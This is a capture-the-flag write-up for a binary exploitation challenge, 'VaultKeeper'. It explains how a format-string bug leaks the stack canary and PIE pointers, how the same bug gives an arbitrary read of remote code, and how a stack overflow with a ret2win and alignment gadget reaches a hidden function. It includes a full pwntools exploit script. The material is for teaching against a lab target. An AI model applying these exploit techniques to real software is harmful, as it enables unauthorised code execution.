Writeup · 31 Nights of Root

VaultKeeper

pwnunknownsolvedFlag: r00t{REDACTED}

Overview

A bank vault terminal exposes a small menu:

=== First National Vault Terminal ===

1) Leave feedback
2) Attempt combination
3) Exit
>

The challenge description says “running with full modern binary protections”. There is a hidden function unlock_vault in the binary that reads an environment variable called FLAG and prints it. Our job is to reach it.

unlock_vault:
    env = getenv("FLAG");
    if (!env) env = "r00t{REDACTED}";
    printf("VAULT UNLOCKED. %s\n", env);
    fflush(stdout);

We need arbitrary code execution that ends up calling unlock_vault, without ever calling it from the menu.

Prerequisites / Setup

  • pwntools (Python 3)
  • gdb + pwndbg (optional, for local analysis)
  • checksec, objdump, readelf, nm
  • Local vaultkeeper binary (from the challenge zip) and/or network access to vaultkeeper-8152[.]labs[.]perfectroot[.]io:8152

Recon

Step 1 — Connect

Goal: Confirm the service is not HTTP and requires nc / pwntools.

curl hxxp://vaultkeeper-8152[.]labs[.]perfectroot[.]io
# curl: (1) Received HTTP/0.9 when not allowed

Use nc or pwntools instead:

nc vaultkeeper-8152[.]labs[.]perfectroot[.]io 8152

The hostname suffix usually matches the port, so after a machine restart you might see -8120, -8152, etc. Always confirm the port.

Step 2 — checksec

Goal: Record the binary’s mitigations.

checksec --file=./vaultkeeper
RELRO           STACK CANARY      NX            PIE             SHSTK      IBT
Full RELRO      Canary found      NX enabled    PIE enabled     Enabled    Enabled

Every classic mitigation is on:

Protection Effect
Full RELRO No GOT overwrites
Stack canary Must leak before smashing the stack
NX No shellcode on stack/heap
PIE Base address randomized, must leak
SHSTK / IBT CET is on, but not all functions are endbr64-prefixed on remote

Two consequences:

  1. We must leak the canary and a PIE pointer.
  2. We must overwrite a stack return address, not the GOT.

Step 3 — Symbols and disassembly (local binary)

Goal: Get function addresses and sizes locally.

nm vaultkeeper | grep -E ' (main|unlock_vault|leave_feedback|attempt_combination)$'
unlock_vault        @ 0x12a9
leave_feedback      @ 0x132a
attempt_combination @ 0x13f7
main                @ 0x1471

Function sizes:

unlock_vault        0x81 bytes
leave_feedback      0xcd bytes
attempt_combination 0x7a bytes
main                0xe2 bytes

Layout in .text: unlock_vault → leave_feedback → attempt_combination → main.

Vulnerability Analysis

Step 4 — leave_feedback — format string

Goal: Confirm printf(user_input) with attacker-controlled user_input.

leave_feedback:
    push rbp
    mov  rbp, rsp
    sub  rsp, 0x90
    mov  rax, fs:0x28
    mov  [rbp-8], rax              ; canary stored
    ...
    lea  rax, [rip+prompt]
    mov  rdi, rax
    call printf
    mov  rax, [stdin]
    lea  rdx, [rbp-0x90]           ; buffer
    mov  esi, 0x80                 ; 128 bytes
    mov  rdi, rax
    call fgets
    ...
    lea  rax, [rbp-0x90]
    mov  rdi, rax
    xor  eax, eax
    call printf                    ; printf(user_input) — format string bug
    mov  edi, 0xa
    call putchar

printf(buffer) with buffer completely attacker-controlled = format string vulnerability. This gives us:

  • Arbitrary read via %s and %p.
  • Arbitrary write via %n family (we didn’t need it, but it’s available).

Step 5 — attempt_combination — stack overflow

Goal: Confirm the overflow offsets.

attempt_combination:
    push rbp
    mov  rbp, rsp
    sub  rsp, 0x50                 ; 80-byte buffer at [rbp-0x50]
    mov  rax, fs:0x28
    mov  [rbp-8], rax
    ...
    lea  rax, [rbp-0x50]
    mov  edx, 0xc8                 ; read 200 bytes!
    mov  rsi, rax
    mov  edi, 0
    call read
    ...
    mov  rax, [rbp-8]
    sub  rax, fs:0x28
    je   ok
    call __stack_chk_fail
ok:
    leave
    ret

200 bytes into an 80-byte buffer. Stack overflow with a canary. Frame layout:

rbp - 0x50 .. rbp - 0x08   : 80-byte buffer
rbp - 0x08                 : stack canary
rbp + 0x00                 : saved rbp
rbp + 0x08                 : saved return address

So payload offsets:

  0..71  : buffer
 72..79   : canary
 80..87   : saved rbp
 88..95   : saved RIP

Exploitation

Step 6 — Exploit strategy

Goal: Leak canary + PIE pointer via format string, compute unlock_vault, overflow with ret2win.

  1. Leak the canary and a PIE code pointer via the format string.
  2. Compute unlock_vault’s address from the PIE pointer.
  3. Overflow attempt_combination with 72 + canary + junk rbp + ret gadget + unlock_vault.
  4. Read the flag from unlock_vault’s stdout.

The ret gadget (a single c3 byte) is necessary because on modern x86-64 glibc, printf/getenv use movaps which requires 16-byte stack alignment at the call site. Adding one extra ret shifts RSP by 8 and restores alignment.

Step 7 — Leak analysis

Goal: Identify the format-string leak slots.

Send 30–32 %p specifiers as feedback:

%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

Sample output:

Thank you for your feedback:
0x7ffd... (nil) (nil) 0x1d (nil)                  <- slots 1-5: register save area
0x70252e70252e7025 ... (12 slots)                  <- slots 6-17: our format string
0x7ffd... 0x7ffd... 0x...00 0x7ffd... 0x55...523   <- slots 21-25
0x100000000 0x...00 0x7ffd... 0x7f... 0x7ffd...    <- slots 26-30
0x55...471 ...                                     <- slot 31: &main
Slot Meaning Notes
23 stack canary low byte is 00, appears again at slot 27
25 return-into-main the value pushed by call leave_feedback
31 &main pushed by __libc_start_main as the main entry pointer

Confirm with a local gdb dump at leave_feedback+0xa0:

(gdb) p/x *(unsigned long*)($rbp-0x8)     # canary
0xbb484206acc11e00
(gdb) p/x *(unsigned long*)($rbp+0x8)     # return addr = main+0xb2
0x555555555523
(gdb) x/gx $rbp+0x18                      # &main at [rbp+0x18] in main's frame
0x555555555471

Leak stability — the length trap

printf’s positional stack reads start at slot 6 (the buffer itself, 5 register slots precede it). The number of slots occupied by the format string itself depends on the format string’s length, but slots 23/25/31 sit above the buffer, so they’re unaffected. That said, do not use a shorter format string and expect the same slot indices — see the “lessons” section.

For consistency, use the same 30-%p string for both probing and exploitation.

Remote vs Local — Different Binaries

This is where the challenge gets tricky.

Locally (the zip binary)

main       = PIE + 0x1471
main_ret   = PIE + 0x1523         (main + 0xb2)
unlock_vau = PIE + 0x12a9
delta      = 0x1523 - 0x12a9 = 0x27a

On the remote

Slot 25 = 0x...453, slot 31 = 0x...3a5. So:

remote main     = PIE + 0x13a5
remote main_ret = PIE + 0x1453     (main + 0xae)
remote &main    = PIE + 0x13a5

The remote binary is a different build, shifted ~0xcc from local, with different function sizes. Local offsets are worthless.

Reading the remote’s code

We can use the format string as an arbitrary read:

feedback = b'%7$.64s|' + p64(addr)

Why this works:

  • Slot 6 = first 8 bytes of the buffer = %7$.64s| (8 bytes exactly).
  • Slot 7 = next 8 bytes = p64(addr).
  • %7$.64s prints up to 64 bytes from [slot 7] = the address we chose.
  • The precision .64 bounds %s so it never walks into an unmapped page.

Dumping [&main - 0x280, &main) reveals the remote’s .text:

PIE + 0x11e9   unlock_vault   (55 48 89 e5 48 83 ec 10 64 48 8b 04 25 28 ...)
PIE + 0x1266   leave_feedback (55 48 89 e5 48 81 ec 90 00 00 00 ...)
PIE + 0x132f   attempt_combination (55 48 89 e5 48 83 ec 50 64 ...)
PIE + 0x13a5   main

Critical observation: remote unlock_vault starts with 55 (push rbp), not f3 0f 1e fa (endbr64). Attempting to pattern-match on the endbr64 prologue fails — this cost a lot of time.

Remote deltas:

unlock_vault = main_ret - 0x26a
             = &main    - 0x1bc
ret gadget   = unlock_vault + 0x7c   (the c3 after leave at the function's tail)

Confirm with a byte scan: uv + 0x7c contains c3 (ret), preceded by c9 (leave).

Step 8 — The alignment gadget

Goal: Understand why an extra ret is required.

On entry to unlock_vault via a plain ret from attempt_combination, the stack alignment at the subsequent call getenv / call printf may be off by 8. Modern glibc implementations use movaps which requires 16-byte alignment — misaligned stacks produce a SIGSEGV before any output.

By placing p64(ret_gadget) at offset 88 and p64(unlock_vault) at offset 96, execution flows:

attempt_combination ret -> ret_gadget   (rsp += 8)
ret_gadget ret         -> unlock_vault  (rsp += 8, now 16-aligned)

unlock_vault then runs with correct alignment.

Byte-accuracy matters: uv + 0x74 lands mid-instruction and crashes. uv + 0x7c is the actual c3. Always verify the byte at the gadget address by reading remote memory.

Step 9 — Final exploit

Goal: Run the exploit against local or remote.

#!/usr/bin/env python3
"""
VaultKeeper — pwn exploit.

Flag: r00t{REDACTED}
"""
from pwn import *
import re, sys

HOST, PORT = 'vaultkeeper-8152[.]labs[.]perfectroot[.]io', 8152
USE_REMOTE = True
context.log_level = 'info'

# Verified remote layout deltas
DELTA_UNLOCK = 0x26a       # main_ret - unlock_vault on remote
DELTA_LOCAL  = 0x27a       # main_ret - unlock_vault on local
RET_OFFSET   = 0x7c        # c3 (ret) at unlock_vault + 0x7c on remote

def menu(p, n):
    p.recvuntil(b'> ')
    p.sendline(str(n).encode())

def leak(p):
    menu(p, 1)
    p.recvuntil(b'Enter your feedback: ')
    p.sendline(b'.'.join([b'%p'] * 32))
    p.recvuntil(b'Thank you for your feedback: ')
    parts = p.recvline().strip().split(b'.')
    return int(parts[22], 16), int(parts[24], 16), int(parts[30], 16)

p = remote(HOST, PORT) if USE_REMOTE else process('./vaultkeeper')
canary, main_ret, main_ptr = leak(p)

log.success(f'canary = {hex(canary)}')
log.success(f'main_ret = {hex(main_ret)}')
log.success(f'&main = {hex(main_ptr)}')

# Choose delta based on the low 12 bits of main_ret
low = main_ret & 0xfff
if low == 0x453:
    delta = DELTA_UNLOCK
    log.info('remote build detected')
elif low == 0x523:
    delta = DELTA_LOCAL
    log.info('local build detected')
else:
    log.error(f'unknown main_ret low bits: {hex(low)}')
    sys.exit(1)

unlock_vault = main_ret - delta
ret_gadget   = unlock_vault + RET_OFFSET

log.success(f'unlock_vault = {hex(unlock_vault)}')
log.success(f'ret_gadget   = {hex(ret_gadget)}')

# Overflow attempt_combination
menu(p, 2)
p.recvuntil(b'Enter vault combination: ')

payload  = b'A' * 72
payload += p64(canary)
payload += b'B' * 8
payload += p64(ret_gadget)     # stack alignment
payload += p64(unlock_vault)   # ret2win
payload += b'C' * 8            # filler for unlock_vault's own ret

p.sendline(payload)
p.interactive()
[+] Opening connection to vaultkeeper-8152.labs.perfectroot.io on port 8152: Done
[+] canary = 0x...
[+] main_ret = 0x...
[+] &main = 0x...
[+] remote build detected
[+] unlock_vault = 0x...
[+] ret_gadget   = 0x...
[*] Switching to interactive mode
VAULT UNLOCKED. r00t{REDACTED}

Flag

r00t{REDACTED}

Printed by unlock_vault after getenv("FLAG").

Lessons / Takeaways

  • Format strings leak everything. One printf(user_input) gives you the canary, PIE base, and code pointers — enough to defeat canary + PIE.
  • 200 into 80 is still a classic. An 80-byte buffer read with 200 bytes overflows the canary, saved rbp, and saved RIP.
  • Remote binaries differ. Don’t hardcode local offsets; leak at runtime and pick delta by a fingerprint (here main_ret & 0xfff).
  • Stack alignment kills. A single ret gadget before unlock_vault restores 16-byte alignment so movaps in getenv/printf doesn’t SIGSEGV.
  • Verify gadget bytes. uv + 0x7c must be c3 (ret); mid-instruction jumps crash.

Techniques

  • Format String
  • Stack Buffer Overflow
  • Ret2win
  • Stack Alignment

References